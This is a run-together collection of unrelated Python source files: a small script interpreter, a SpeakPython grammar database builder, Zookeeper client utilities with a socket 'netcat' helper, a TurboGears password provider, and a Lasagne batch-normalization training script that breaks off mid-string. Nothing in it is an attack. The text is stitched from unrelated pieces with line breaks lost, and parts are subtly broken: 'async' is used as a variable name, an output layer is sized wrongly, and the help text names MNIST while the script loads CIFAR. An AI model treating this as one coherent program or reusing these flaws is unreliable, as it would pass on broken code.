kwd = gdict.get('kwd') if kwd: kws[kwd] = cls.get_value(gdict.get('val', '')) else: arg = gdict.get('arg', '').strip() if arg != ',': args.append(cls.get_value(arg)) text = text[len(m.group()):] if text: raise SyntaxError( 'Syntax error: "{}" (line {})'.format(text, lineno) ) return cls(cmd, args, kws, line, lineno) def lexer(code, lineno=0): ''' Takes the script source code, scans it, and lexes it into ``Instructions`` ''' for chars in code.splitlines(): lineno += 1 line = chars.rstrip() if not line or line.lstrip().startswith('#'): continue logger.debug('Lexed {} byte(s) line {}'.format(len(line), chars)) yield Instruction.parse(line, lineno) def load_libraries(extensions=None): if isinstance(extensions, str): extensions = [extensions] libs = BASE_LIBS + (extensions or []) for lib in libs: importlib.import_module(lib) class Interpreter: def __init__( self, contents=None, loader=None, use_cache=False, do_pm=False, extensions=None ): self.use_cache = use_cache self.loader = loader if loader else Loader(use_cache=use_cache) self.contents = Contents(contents) self.do_debug = False self.do_pm = do_pm self.instructions = [] load_libraries(extensions) def load_sources(self, sources, use_cache=None): use_cache = self.use_cache if use_cache is None else bool(use_cache) contents = self.loader.load_sources(sources) self.contents.update([ ct.decode() if isinstance(ct, bytes) else ct for ct in contents ]) def listing(self, linenos=False): items = [] for instr in self.instructions: items.append('{}{}'.format( '{} '.format(instr.lineno) if linenos else '', instr.line )) return items def lex(self, code): lineno = self.instructions[-1].lineno if self.instructions else 0 instructions = list(lexer(code, lineno)) self.instructions.extend(instructions) return instructions def execute(self, code): for instr in self.lex(code): try: self._execute_instruction(instr) except exceptions.ProgramWarning as why: print(why) return self.contents def _load_handler(self, instr): if instr.cmd in library.registry: func = library.registry[instr.cmd] return self.contents, (func, instr.args, instr.kws) elif instr.cmd in interpreter_library.registry: func = interpreter_library.registry[instr.cmd] return func, (self, instr.args, instr.kws) raise exceptions.ProgramWarning( 'Unknown instruction (line {}): {}'.format(instr.lineno, instr.cmd) ) def _execute_instruction(self, instr): logger.debug('Executing {}'.format(instr.cmd)) handler, args = self._load_handler(instr) do_debug, self.do_debug = self.do_debug, False if do_debug: utils.pdb.set_trace() try: handler(*args) except Exception: exc, value, tb = sys.exc_info() if self.do_pm: logger.error( 'Script exception, line {}: {} (Entering post_mortem)'.format( # noqa instr.lineno, value ) ) utils.pdb.post_mortem(tb) else: raise def execute_script(filename, contents=''): code = utils.read_file(filename) return execute_code(code, contents) def execute_code(code, contents=''): intrep = Interpreter(contents) return str(intrep.execute(code)) class Contents: def __init__(self, contents=None): self.stack = [] self.set_contents(contents) def __iter__(self): return iter(self.contents) def __len__(self): return len(self.contents) def __str__(self): return '\n'.join(str(c) for c in self) # def __getitem__(self, index): # return self.contents[index] def pop(self): if self.stack: self.contents = self.stack.pop() def __call__(self, func, args, kws): contents = [] for data in self: result = func(data, args, kws) contents.append(result) self.update(contents) def merge(self): if self.contents: first = self.contents[0] data = first.merge(self.contents) self.update([data]) def update(self, contents): if self.contents: self.stack.append(self.contents) self.set_contents(contents) def set_contents(self, contents): self.contents = [] if isinstance(contents, (str, bytes)): contents = [contents] contents = contents or [] for ct in contents: if isinstance(ct, (str, bytes)): ct = DataProxy(ct) self.contents.append(ct)
import antlr3; import sqlite3; import pickle; import sys, os; import re; from SpeakPython.SpeakPython import SpeakPython; from SpeakPython.SpeakPythonLexer import SpeakPythonLexer; from SpeakPython.SpeakPythonParser import SpeakPythonParser; def sortResults(results): l = len(results); if l == 1 or l == 0: return results; s1 = sortResults(results[:l/2]); s2 = sortResults(results[l/2:]); res = []; si1 = 0; si2 = 0; sl1 = len(s1); sl2 = len(s2); max = sl1 + sl2; for i in range(0, max): if si1 == sl1: res.extend(s2[si2:]); break; if si2 == sl2: res.extend(s1[si1:]); break; if len(s1[si1].labels) > len(s2[si2].labels): res.append( s1[si1] ); si1 += 1; else: res.append( s2[si2] ); si2 += 1; return res; def makeDB(conn): c = conn.cursor(); try: c.execute("DROP TABLE matches"); c.execute("DROP TABLE functions"); c.execute("DROP TABLE kleene") conn.commit(); except Exception as e: conn.rollback(); c.execute("CREATE TABLE matches (order_id INTEGER PRIMARY KEY, keywords TEXT, regex TEXT, results BLOB)"); c.execute("CREATE TABLE functions (name TEXT, regex TEXT, results BLOB)"); c.execute("CREATE TABLE kleene (id TEXT PRIMARY KEY, regexes BLOB)"); #index the keywords to speed up text search c.execute("CREATE INDEX IF NOT EXISTS keyword_idx ON matches (keywords)"); c.execute("CREATE INDEX IF NOT EXISTS func_name_idx ON functions (name)"); conn.commit(); def performTestCases(exp, testCases): print "Testing: ", exp for t in testCases: m = re.match(exp, t); if m == None: print "Test case failed: ", t; return False; return True; def insertIntoDB(conn, matches, functions): matchEntries = []; kleeneEntries = []; funcEntries = []; print "Running test cases for matches..."; idCount = 0; for m in matches: #perform in-suite test cases succeededTests = performTestCases(m.exp, m.testCases); if not succeededTests: return; k = ','.join(m.keywords); m.results = sortResults(m.results); if len(m.kGroupRegexes) > 0: kleeneEntries.append((str(idCount), pickle.dumps(m.kGroupRegexes))); matchEntries.append((idCount, k, m.exp, pickle.dumps(m.results))); idCount += 1; print "All match test cases passed."; c = conn.cursor(); c.executemany("INSERT INTO matches VALUES (?,?,?,?)", matchEntries); conn.commit(); print "Running test cases for functions..."; for f in functions: f = functions[f]; #perform in-suite test cases succeededTests = performTestCases(f, f.testCases); if not succeededTests: return; #save all regex groups in database under function name if len(f.kGroupRegexes) > 0: kleeneEntries.append((f.getName(), pickle.dumps(f.kGroupRegexes))); f.results = sortResults(f.results); funcEntries.append((f.getName(), f.getExp(), pickle.dumps(f.getResults()))); print "All function test cases passed"; c.executemany("INSERT INTO functions VALUES (?,?,?)", funcEntries); c.executemany("INSERT INTO kleene VALUES (?,?)", kleeneEntries); conn.commit(); print "Functions:"; for row in c.execute("SELECT * FROM functions"): print row, '\n'; print "\n"; print "Matches:"; for row in c.execute("SELECT * FROM matches"): print row, '\n'; print "\n"; print "Kleene:"; for row in c.execute("SELECT * FROM kleene"): print row, '\n'; print "\n"; conn.close(); def parse(conn, fileList, dirName): parser = None; otherGlobalTests = {}; for f in fileList: #join filename with current directory path fileName = os.path.join(dirName, f); #if f is a file, parse and insert into db if os.path.isfile(fileName): char_stream = antlr3.ANTLRFileStream(fileName); lexer = SpeakPythonLexer(char_stream); tokens = antlr3.CommonTokenStream(lexer); parser = SpeakPythonParser(tokens); parser.prog(); insertIntoDB(conn, parser.matches, parser.aliases); #if f is a dir, pass list of files into recursive call if os.path.isdir(fileName): subFiles = os.listdir(fileName); otherGlobalTests = parse(conn, subFiles, fileName); globalTests = {}; if parser == None: print "Parser not defined." else: globalTests = parser.globalTests; globalTests.update(otherGlobalTests); return globalTests; def main(argv): name = argv[1] + '.db'; conn = sqlite3.connect(name); makeDB(conn); globalTests = parse(conn, [argv[2]], ''); for gt in globalTests: sp = SpeakPython(name); r = sp.matchResult(gt); resultStr = ''; if r != None: resultStr = r.getResult(); if resultStr != globalTests[gt]: print "Value test case failed: (" + gt + ") does not return (" + globalTests[gt] + "), but instead returns (" + resultStr + ")"; main(sys.argv);
from __future__ import unicode_literals from __future__ import print_function import socket import time import six import math import threading from random import choice import logging from kazoo.client import KazooClient from kazoo.client import KazooState from kazoo.protocol.states import EventType from kazoo.handlers.threading import KazooTimeoutError from kazoo.exceptions import OperationTimeoutError log = logging.getLogger(__name__) MODE_LEADER = 'leader' CONNECTION_CACHE_ENABLED = True CONNECTION_CACHE = {} def kazoo_client_cache_enable(enable): """ You may disable or enable the connection cache using this function. The connection cache reuses a connection object when the same connection parameters are encountered that have been used previously. Because of the design of parts of this program functionality needs to be independent and uncoupled, which means it needs to establish its own connections. Connections to Zookeeper are the most time consuming part of most interactions so caching connections enables much faster running of tests health checks, etc. """ global CONNECTION_CACHE_ENABLED CONNECTION_CACHE_ENABLED = enable def kazoo_client_cache_serialize_args(kwargs): ''' Returns a hashable object from keyword arguments dictionary. This hashable object can be used as the key in another dictionary. :param kwargs: a dictionary of connection parameters passed to KazooClient Supported connection parameters:: hosts - Comma-separated list of hosts to connect to (e.g. 127.0.0.1:2181,127.0.0.1:2182,[::1]:2183). timeout - The longest to wait for a Zookeeper connection. client_id - A Zookeeper client id, used when re-establishing a prior session connection. handler - An instance of a class implementing the IHandler interface for callback handling. default_acl - A default ACL used on node creation. auth_data - A list of authentication credentials to use for the connection. Should be a list of (scheme, credential) tuples as add_auth() takes. read_only - Allow connections to read only servers. randomize_hosts - By default randomize host selection. connection_retry - A kazoo.retry.KazooRetry object to use for retrying the connection to Zookeeper. Also can be a dict of options which will be used for creating one. command_retry - A kazoo.retry.KazooRetry object to use for the KazooClient.retry() method. Also can be a dict of options which will be used for creating one. logger - A custom logger to use instead of the module global log instance. ''' return frozenset(kwargs.items()) def kazoo_client_cache_get(kwargs): if CONNECTION_CACHE_ENABLED: return CONNECTION_CACHE.get(kazoo_client_cache_serialize_args(kwargs)) def kazoo_client_cache_put(kwargs, client): global CONNECTION_CACHE CONNECTION_CACHE[kazoo_client_cache_serialize_args(kwargs)] = client def kazoo_clients_connect(clients, timeout=5, continue_on_error=False): """ Connect the provided Zookeeper client asynchronously. This is the fastest way to connect multiple clients while respecting a timeout. :param clients: a sequence of KazooClient objects or subclasses of. :param timeout: connection timeout in seconds :param continue_on_error: don't raise exception if SOME of the hosts were able to connect """ asyncs = [] for client in clients: # returns immediately asyncs.append(client.start_async()) tstart = time.time() while True: elapsed = time.time() - tstart remaining = math.ceil(max(0, timeout - elapsed)) connecting = [async for idx, async in enumerate(asyncs) if not clients[idx].connected] connected_ct = len(clients) - len(connecting) if not connecting: # successful - all hosts connected return connected_ct if not remaining: # stop connection attempt for any client that timed out. for client in clients: if client.connected: continue else: client.stop() if len(connecting) < len(clients): # if some of the clients connected, return the ones that are connected msg = 'Connection Timeout - %d of %d clients timed out after %d seconds' % ( len(connecting), len(clients), timeout ) if continue_on_error: log.warn(msg) return connected_ct else: OperationTimeoutError(msg) raise OperationTimeoutError('All hosts timed out after %d secs' % timeout) # Wait the remaining amount of time to connect # note that this will wait UP TO remaining, but will only wait as long as it takes # to connect. connecting[0].wait(remaining) def kazoo_clients_from_client(kazoo_client): """ Construct a series of KazooClient connection objects from a single KazooClient instance A client will be constructed per host within the KazooClient, so if the KazooClient was constructed with 3 hosts in its connection string, 3 KazooClient instanctes will be returned The class constructed will be the same type as is passed in kazoo_client, this functionality is so that this method will work with mocked connection objects or customized subclasses of KazooClient. """ # TODO support all connection arguments connection_strings = zk_conns_from_client(kazoo_client) cls = kazoo_client.__class__ clients = [] for conn_str in connection_strings: args = {'hosts': conn_str} client = kazoo_client_cache_get(args) if not client: client = cls(**args) kazoo_client_cache_put(args, client) clients.append(client) return clients def get_leader(zk_hosts): # TODO refactor me to accept KazooClient object. for host in zk_hosts: zk = KazooClient(hosts=host, read_only=True) try: zk.start() except KazooTimeoutError as e: print('ZK Timeout host: [%s], %s' % (host, e)) continue properties_str = zk.command(cmd=b'srvr') properties = properties_str.split('\n') for line in properties: if not line.strip().lower().startswith('mode:'): continue key, val = line.split(':') if val.strip().lower() == MODE_LEADER: return host zk.stop() raise RuntimeError('no leader available, from connections given') def get_server_by_id(zk_hosts, server_id): # TODO refactor me to accept KazooClient object. if not isinstance(server_id, int): raise ValueError('server_id must be int, got: %s' % type(server_id)) for host in zk_hosts: zk = KazooClient(hosts=host, read_only=True) try: zk.start() except KazooTimeoutError as e: print('ZK Timeout host: [%s], %s' % (host, e)) continue properties_str = zk.command(cmd=b'conf') properties = properties_str.split('\n') for line in properties: if not line.strip().lower().startswith('serverid='): continue key, val = line.split('=') val = int(val) if val == server_id: return host continue zk.stop() raise ValueError("no host available with that server id [%d], from connections given" % server_id) def zk_conn_from_client(kazoo_client): """ Make a Zookeeper connection string from a KazooClient instance """ hosts = kazoo_client.hosts chroot = kazoo_client.chroot return zk_conn_from_hosts(hosts, chroot) def zk_conns_from_client(kazoo_client): """ Make a Zookeeper connection string per-host from a KazooClient instance """ hosts = kazoo_client.hosts chroot = kazoo_client.chroot return zk_conns_from_hosts(hosts, chroot) def zk_conn_from_hosts(hosts, chroot=None): """ Make a Zookeeper connection string from a list of (host,port) tuples. """ if chroot and not chroot.startswith('/'): chroot = '/' + chroot return ','.join(['%s:%s' % (host,port) for host, port in hosts]) + chroot or '' def zk_conns_from_hosts(hosts, chroot=None): """ Make a list of Zookeeper connection strings one her host. """ if chroot and not chroot.startswith('/'): chroot = '/' + chroot return ['%s:%s' % (host,port) + chroot or '' for host, port in hosts] def parse_zk_conn(zookeepers): """ Parse Zookeeper connection string into a list of fully qualified connection strings. """ zk_hosts, root = zookeepers.split('/') if len(zookeepers.split('/')) > 1 else (zookeepers, None) zk_hosts = zk_hosts.split(',') root = '/'+root if root else '' all_hosts_list = [h+root for h in zk_hosts] return all_hosts_list def parse_zk_hosts(zookeepers, all_hosts=False, leader=False, server_id=None): """ Returns [host1, host2, host3] Default behavior is to return a single host from the list chosen by random (a list of 1) :param all_hsots: if true, all hosts will be returned in a list :param leader: if true, return the ensemble leader host :param server_id: if provided, return the host with this server id (integer) """ zk_hosts, root = zookeepers.split('/') if len(zookeepers.split('/')) > 1 else (zookeepers, None) zk_hosts = zk_hosts.split(',') root = '/'+root if root else '' all_hosts_list = [h+root for h in zk_hosts] if leader: zk_hosts = [get_leader(zk_hosts)] elif server_id: zk_hosts = [get_server_by_id(zk_hosts, server_id)] # make a list of each host individually, so they can be queried one by one for statistics. elif all_hosts: zk_hosts = all_hosts_list # otherwise pick a single host to query by random. else: zk_hosts = [choice(zk_hosts) + root] return zk_hosts def text_type(string, encoding='utf-8'): """ Given text, or bytes as input, return text in both python 2/3 This is needed because the arguments to six.binary_type and six.text_type change based on if you are passing it text or bytes, and if you simply pass bytes to six.text_type without an encoding you will get output like: ``six.text_type(b'hello-world')`` which is not desirable. """ if isinstance(string, six.text_type): return six.text_type(string) else: return six.text_type(string, encoding) netcat_lock = threading.Lock() def netcat(hostname, port, content, timeout=5): """ Operate similary to netcat command in linux (nc). Thread safe implementation """ # send the request content = six.binary_type(content) try: with netcat_lock: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((hostname, int(port))) sock.settimeout(timeout) sock.sendall(content) except socket.timeout as e: raise IOError("connect timeout: %s calling [%s] on [%s]" % (e, content, hostname)) except socket.error as e: # subclass of IOError raise IOError("connect error: %s calling [%s] on [%s]" % (e, content, hostname)) response = '' started = time.time() while True: if time.time() - started >= timeout: raise IOError("timed out retrieving data from: %s" % hostname) # receive the response try: # blocks until there is data on the socket with netcat_lock: msg = sock.recv(1024) response += text_type(msg) except socket.timeout as e: raise IOError("%s calling [%s] on [%s]" % (e, content, hostname)) except socket.error as e: raise IOError("%s calling [%s] on [%s]" % (e, content, hostname)) if len(msg) == 0: try: with netcat_lock: sock.shutdown(socket.SHUT_RDWR) sock.close() except OSError: pass finally: break response = text_type(response) return response
from turbogears.identity.soprovider import * from secpwhash import check_password class SoSecPWHashIdentityProvider(SqlObjectIdentityProvider): def validate_password(self, user, user_name, password): # print >>sys.stderr, user, user.password, user_name, password return check_password(user.password,password)
from __future__ import print_function """ Batch Normalization + SVRG on MNIST Independent Study May 24, 2016 Yintai Ma """ """ """ """ under folder of batch_normalization Before merge; number 1 have options for "mlp", "mlpbn"; "sgd" and "custom_svrg2" and "sgd_adagrad" """ import sys import os import time import matplotlib import matplotlib.pyplot as plt plt.switch_backend('agg') import pylab import numpy as np import theano import theano.tensor as T import lasagne import pickle import gzip import my_bn_layer # Define DBN, e.g., DBN1 import my_bn_layer2 # Define DBN2, e.g. ,1/m^2 MA import my_bn_layer_const # Define for const alpha (actually we can just use the my_bn_layer) from collections import OrderedDict OUTPUT_FIGURE_PATH = 'data_large/' OUTPUT_DATA_PATH = 'data_large/' NUM_EPOCHS = 20 BATCH_SIZE = 100 NUM_HIDDEN_UNITS = 500 LEARNING_RATE = 0.01 MOMENTUM = 0.9 FREQUENCY = 0.1 MODEL = 'mlpbn' GRADIENT = 'sgd_adagrad' BNALG = 'original' bnalg_const_dict = { "const1": 1.0, "const075": 0.75, "const05": 0.5, "const025": 0.25, "const01": 0.1, "const001": 0.01, "const0001": 0.001, "const0": 0.0, } def custom_svrg2(loss, params, m, learning_rate=0.01, objective=None, data=None, target=None, getpred=None): theano.pp(loss) grads = theano.grad(loss, params) n = data.shape[0] updates = OrderedDict() rng = T.shared_randomstreams.RandomStreams(seed=149) for param, grad in zip(params, grads): value = param.get_value(borrow=True) mu = grad / n def oneStep(w): t = rng.choice(size=(1,), a=n) loss_part_tilde = objective(getpred(data[t], param), target[t]) loss_part_tilde = loss_part_tilde.mean() g_tilde = theano.grad(loss_part_tilde, param) loss_part = objective(getpred(data[t], w), target[t]) loss_part = loss_part.mean() g = theano.grad(loss_part, w) w = w - learning_rate * (g - g_tilde + mu) return w w_tilde, scan_updates = theano.scan(fn=oneStep, outputs_info=param, n_steps=m) updates.update(scan_updates) updates[param] = w_tilde[-1] return updates def mysgd(loss_or_grads, params, learning_rate): grads = lasagne.updates.get_or_compute_grads(loss_or_grads, params) updates = OrderedDict() for param, grad in zip(params, grads): updates[param] = param - learning_rate * grad return updates def mysgd_adagrad(loss_or_grads, params, learning_rate=0.01, eps=1.0e-8): if not isinstance(loss_or_grads, list): grads = theano.grad(loss_or_grads, params) else: grads = loss_or_grads updates = OrderedDict() for param, grad in zip(params, grads): value = param.get_value(borrow=True) acc = theano.shared(np.zeros(value.shape, dtype=value.dtype), broadcastable=param.broadcastable) acc_new = acc + grad ** 2 updates[acc] = acc_new updates[param] = param - learning_rate * grad / T.sqrt(acc_new + eps) return updates def mysvrg(loss_or_grads, params, learning_rate,avg_gradient): #Not Working right now grads = lasagne.updates.get_or_compute_grads(loss_or_grads, params) updates = OrderedDict() for param, grad in zip(params, grads): updates[param] = param - learning_rate * (grad- grad_it + avg_gradient[param]) return updates def load_dataset(): # We first define a download function, supporting both Python 2 and 3. if sys.version_info[0] == 2: from urllib import urlretrieve else: from urllib.request import urlretrieve CIFAR_PATH = "../../data/cifar-10-batches-py/" def load_CIFAR_batch(filename): """ load single batch of cifar """ with open(filename, 'rb') as f: datadict = pickle.load(f) X = datadict['data'] Y = datadict['labels'] # print X.shape #X = X.reshape(10000, 3, 32, 32).transpose(0,2,3,1).astype("float") X = X.reshape(10000, 3, 32, 32).transpose(0,1,2,3).astype("float32") Y = np.array(Y).astype("int32") return X, Y # We can now download and read the training and test set images and labels. # X_train = load_mnist_images('train-images-idx3-ubyte.gz') # y_train = load_mnist_labels('train-labels-idx1-ubyte.gz') # X_test = load_mnist_images('t10k-images-idx3-ubyte.gz') # y_test = load_mnist_labels('t10k-labels-idx1-ubyte.gz') # Read NI dataset # DATA_PATH = "/Users/myt007/git/svrg/ni/" X_train1,y_train1 = load_CIFAR_batch(CIFAR_PATH + "data_batch_1") X_train2,y_train2 = load_CIFAR_batch(CIFAR_PATH + "data_batch_2") X_train3,y_train3 = load_CIFAR_batch(CIFAR_PATH + "data_batch_3") X_train4,y_train4 = load_CIFAR_batch(CIFAR_PATH + "data_batch_4") X_train5,y_train5 = load_CIFAR_batch(CIFAR_PATH + "data_batch_5") X_test,y_test = load_CIFAR_batch(CIFAR_PATH + "test_batch") X_train = np.concatenate((X_train1,X_train2,X_train3,X_train4,X_train5)) y_train = np.concatenate((y_train1,y_train2,y_train3,y_train4,y_train5)) # We reserve the last 10000 training examples for validation. X_train, X_val = X_train[:-10000], X_train[-10000:] y_train, y_val = y_train[:-10000], y_train[-10000:] X_train = X_train.astype("float32") X_val = X_val.astype("float32") X_test = X_test.astype("float32") y_train = y_train.astype("int32") y_val = y_val.astype("int32") y_test = y_test.astype("int32") # We just return all the arrays in order, as expected in main(). # (It doesn't matter how we do this as long as we can read them again.) # print("X_train1") # print(X_train1.shape) # print(X_train1.dtype) # print("\n") # print("y_train1") # print(y_train1.shape) # print("X_train") # print(X_train.shape) # print(X_train.dtype) # print("\n") # print("y_train") # print(y_train.shape) # # print("X_val") # # print(X_val.shape) # # print("y_val") # # print(y_val.shape) # print("X_test") # print(X_test.shape) # print("y_test") # print(y_test.shape) return X_train, y_train, X_val, y_val, X_test, y_test def build_mlp(input_var=None, num_hidden_units=NUM_HIDDEN_UNITS): l_in = lasagne.layers.InputLayer(shape=(None, 3, 32, 32), input_var=input_var) l_hid = lasagne.layers.DenseLayer( l_in, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.GlorotUniform()) l_hid = lasagne.layers.DenseLayer( l_hid, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.GlorotUniform()) l_out = lasagne.layers.DenseLayer( l_hid, num_units=10, nonlinearity=lasagne.nonlinearities.softmax) return l_out def build_mlpbn(input_var=None, num_hidden_units=NUM_HIDDEN_UNITS,bnalg = BNALG): l_in = lasagne.layers.InputLayer(shape=(None, 3, 32, 32), input_var=input_var) if bnalg == 'original': l_hidden = lasagne.layers.batch_norm ( lasagne.layers.DenseLayer( l_in, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ) ) l_hidden = lasagne.layers.batch_norm ( lasagne.layers.DenseLayer( l_hidden, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ) ) elif bnalg == 'dbn': l_hidden = my_bn_layer.my_batch_norm ( lasagne.layers.DenseLayer( l_in, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ) ) l_hidden = my_bn_layer.my_batch_norm ( lasagne.layers.DenseLayer( l_hidden, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ) ) elif bnalg == 'dbn2': l_hidden = my_bn_layer2.my_batch_norm ( lasagne.layers.DenseLayer( l_in, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ) ) l_hidden = my_bn_layer2.my_batch_norm ( lasagne.layers.DenseLayer( l_hidden, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ) ) elif 'const' in bnalg: # print(bnalg) # print(bnalg_const_dict) if bnalg not in bnalg_const_dict: print("Incorrect bnalg method. Can't find in predefined dictionary.") else: the_alpha = bnalg_const_dict[bnalg] l_hidden = my_bn_layer_const.my_batch_norm ( lasagne.layers.DenseLayer( l_in, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ), alpha = the_alpha ) l_hidden = my_bn_layer_const.my_batch_norm ( lasagne.layers.DenseLayer( l_hidden, num_units=num_hidden_units, nonlinearity=lasagne.nonlinearities.rectify, ), alpha = the_alpha ) l_out = lasagne.layers.DenseLayer( l_hidden, num_units=NUM_HIDDEN_UNITS, nonlinearity=lasagne.nonlinearities.softmax, ) return l_out def iterate_minibatches(inputs, targets, batchsize, shuffle=False ): assert len(inputs) == len(targets) if shuffle: indices = np.arange(len(inputs)) np.random.shuffle(indices) for start_idx in range(0, len(inputs) - batchsize + 1, batchsize): if shuffle: excerpt = indices[start_idx:start_idx + batchsize] else: excerpt = slice(start_idx, start_idx + batchsize) yield inputs[excerpt], targets[excerpt] def main(model=MODEL,gradient = GRADIENT, num_epochs=NUM_EPOCHS, num_hidden_units = NUM_HIDDEN_UNITS, bnalg = BNALG): rng = np.random.RandomState(42) lasagne.random.set_rng(rng) # Load the dataset NUM_EPOCHS = num_epochs print("Loading data...") X_train, y_train, X_val, y_val, X_test, y_test = load_dataset() # Prepare Theano variables for inputs and targets input_var = T.tensor4('inputs') target_var = T.ivector('targets') # Create neural network model (depending on first command line parameter) print("Building model and compiling functions...") if model == 'mlp': network = build_mlp(input_var, num_hidden_units) elif model == 'mlpbn': network = build_mlpbn(input_var, num_hidden_units,bnalg) else: print("Unrecognized model type %r." % model) return prediction = lasagne.layers.get_output(network, deterministic= False, batch_norm_update_averages = True) loss = T.mean(lasagne.objectives.categorical_crossentropy(prediction, target_var)) acc = T.mean(T.eq(T.argmax(prediction, axis=1), target_var),dtype=theano.config.floatX) params = lasagne.layers.get_all_params(network, trainable=True) if gradient == 'sgd': updates = mysgd(loss, params, LEARNING_RATE) elif gradient == 'sgd_adagrad': updates = mysgd_adagrad(loss, params, LEARNING_RATE) elif gradient == 'svrg': updates = custom_svrg2(loss,params, m=100, learning_rate = LEARNING_RATE, objective=lasagne.objectives.categorical_crossentropy , data=input_var, target = target_var, getpred= getpred) test_prediction = lasagne.layers.get_output(network, deterministic=True) test_loss = lasagne.objectives.categorical_crossentropy(test_prediction,target_var) test_loss = test_loss.mean() test_acc = T.mean(T.eq(T.argmax(test_prediction, axis=1), target_var),dtype=theano.config.floatX) # Compile a function performing a training step on a mini-batch (by giving # the updates dictionary) and returning the corresponding training loss: train_fn = theano.function([input_var, target_var], loss, updates=updates) train_acc = theano.function([input_var, target_var], acc) # Compile a second function computing the validation loss and accuracy: val_fn = theano.function([input_var, target_var], [test_loss, test_acc]) # Finally, launch the training loop. print("Starting training...") # We iterate over epochs: loss_train = [] loss_val = [] acc_val = [] acc_train = [] acc_test = [] loss_test = [] times = [] start_time = time.time() for epoch in range(NUM_EPOCHS): # In each epoch, we do a full pass over the training data: train_err = 0 tmp_acc = 0 train_batches = 0 for batch in iterate_minibatches(X_train, y_train, BATCH_SIZE, shuffle=True): inputs, targets = batch train_err += train_fn(inputs, targets) tmp_acc += train_acc(inputs, targets) train_batches += 1 # And a full pass over the validation data: val_err = 0 val_acc = 0 val_batches = 0 for batch in iterate_minibatches(X_val, y_val, BATCH_SIZE, shuffle=False): inputs, targets = batch err, acc = val_fn(inputs, targets) val_err += err val_acc += acc val_batches += 1 # and a full pass over the test data, bingo! test_err = 0 test_acc = 0 test_batches = 0 for batch in iterate_minibatches(X_test, y_test, BATCH_SIZE, shuffle=False): inputs, targets = batch err, acc = val_fn(inputs, targets) test_err += err test_acc += acc test_batches += 1 # Then we print the results for this epoch: times.append(time.time() - start_time) print("Epoch {} of {} took {:.3f}s".format(epoch + 1, num_epochs, time.time() - start_time)) loss_train.append(train_err / train_batches) acc_train.append(tmp_acc / train_batches) print(" training loss:\t\t{:.6f}".format(train_err / train_batches)) loss_val.append(val_err / val_batches) print(" validation loss:\t\t{:.6f}".format(val_err / val_batches)) acc_val.append(val_acc / val_batches) print(" validation accuracy:\t\t{:.2f} %".format( val_acc / val_batches * 100)) acc_test.append(test_acc / test_batches) loss_test.append(test_err / test_batches) print(" test accuracy:\t\t{:.2f} %".format(test_acc / test_batches * 100)) # print(" test loss:\t\t{:.2f}".format(test_err / val_batches)) # After training, we compute and print the test error: test_err = 0 test_acc = 0 test_batches = 0 for batch in iterate_minibatches(X_test, y_test, BATCH_SIZE, shuffle=False): inputs, targets = batch err, acc = val_fn(inputs, targets) test_err += err test_acc += acc test_batches += 1 print("Final results:") print(" test loss:\t\t\t{:.6f}".format(test_err / test_batches)) print(" test accuracy:\t\t{:.2f} %".format(test_acc / test_batches * 100)) print(" average time per epoch :\t\t{:.3f} s".format(np.mean(times))) print("result/"+model+"_"+gradient+"_"+bnalg+".txt") file_handle=open("result/"+model+"_"+gradient+"_"+bnalg+".txt", 'w+') file_handle.write("Final results:\n") file_handle.write(" test loss:\t\t\t{:.6f}\n".format(test_err / test_batches)) file_handle.write(" test accuracy:\t\t{:.2f} %".format(test_acc / test_batches * 100)) count = (np.arange(NUM_EPOCHS)+1) #*X_train.shape[0] #PLOT matplotlib.rcParams.update({'font.size': 16}) plt.figure(1) plt.plot(count, loss_train, 'bs-',label="Training Set") plt.title(model+'-'+gradient+'-Loss of Training/Validation Set') plt.plot(count, loss_val, 'ro--',label="Validation Set") plt.xlabel('# Epochs') plt.ylabel('Loss') plt.legend() # plt.show() pylab.savefig(OUTPUT_FIGURE_PATH+'fig_LossTrain-'+model+'-'+gradient+'-'+str(NUM_EPOCHS)+'.png', bbox_inches='tight') plt.figure(2) plt.plot(count, acc_train, 'bs-',label="Training Set") plt.title(model+'-'+gradient+'-Predict Accuracy of Training/Validation Set') plt.plot(count, acc_val, 'ro--',label="Validation Set") plt.plot(count, acc_test, 'g^:',label="Test Set") plt.xlabel('# Epochs') plt.ylabel('Predict Accuracy') plt.legend(bbox_to_anchor=(1,0.25)) # plt.show() pylab.savefig(OUTPUT_FIGURE_PATH+'fig_Pred-'+model+'-'+gradient+'-'+str(NUM_EPOCHS)+'.png', bbox_inches='tight') print ("Finish plotting...") np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"loss_train.txt",loss_train) np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"loss_val.txt",loss_val) np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"acc_train.txt",acc_train) np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"acc_val.txt",acc_val) np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"acc_test.txt",acc_test) np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"loss_test.txt",loss_test) np.savetxt(OUTPUT_DATA_PATH+model+"_"+gradient+"_"+str(NUM_EPOCHS)+"_"+bnalg+"_"+"epoch_times.txt",times) print ("Data saved...") # Optionally, you could now dump the network weights to a file like this: # np.savez('model.npz', *lasagne.layers.get_all_param_values(network)) # # And load them again later on like this: # with np.load('model.npz') as f: # param_values = [f['arr_%d' % i] for i in range(len(f.files))] # lasagne.layers.set_all_param_values(network, param_values) if __name__ == '__main__': if ('--help' in sys.argv) or ('-h' in sys.argv) or ('help' in sys.argv): print("Trains a neural network on MNIST using Lasagne.") print("Usage: %s 